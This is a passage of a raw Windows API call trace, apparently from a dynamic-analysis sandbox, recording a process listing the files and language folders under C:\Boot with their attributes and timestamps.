lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0115.661] FindNextFileW (in: hFindFile=0x1b48f850, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.661] FindClose (in: hFindFile=0x1b48f850 | out: hFindFile=0x1b48f850) returned 1 [0115.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0115.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0115.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0115.661] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0115.661] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f3d0 [0115.662] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.662] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x1b2373d6, ftLastAccessTime.dwHighDateTime=0x1d9b55d, ftLastWriteTime.dwLowDateTime=0x1b2373d6, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0115.662] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0115.662] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0115.663] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0115.663] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x7898476d, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x7898476d, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0115.663] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0115.663] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0115.663] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0115.664] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0115.664] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0115.664] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0115.664] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0115.664] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.664] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0115.666] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0115.666] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0115.666] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0115.666] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0115.666] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0115.666] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0115.667] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0115.667] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc2960, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0115.667] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0115.667] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0115.667] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0115.668] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0115.668] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0115.668] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0115.668] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0115.671] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0115.671] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0115.672] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0115.672] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0115.672] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0115.672] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0115.672] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0115.673] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, 